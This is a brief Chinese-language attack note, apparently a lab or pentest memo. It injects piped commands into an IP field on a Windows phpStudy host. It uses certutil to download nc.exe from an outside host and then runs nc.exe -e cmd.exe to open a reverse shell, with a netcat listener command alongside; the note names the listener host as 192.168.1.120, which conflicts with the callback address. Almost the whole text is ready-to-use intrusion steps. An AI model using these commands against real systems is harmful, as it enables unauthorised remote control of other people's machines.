nc监听

192.168.1.120|certutil.exe -urlcache -split -f http://192.168.1.168/nc.exe C:\phpStudy\nc.exe
192.168.1.120|C:\phpStudy\nc.exe -e cmd.exe 192.168.1.168 82

192.168.1.120上面监听端口就行了 nc.exe -lvp 82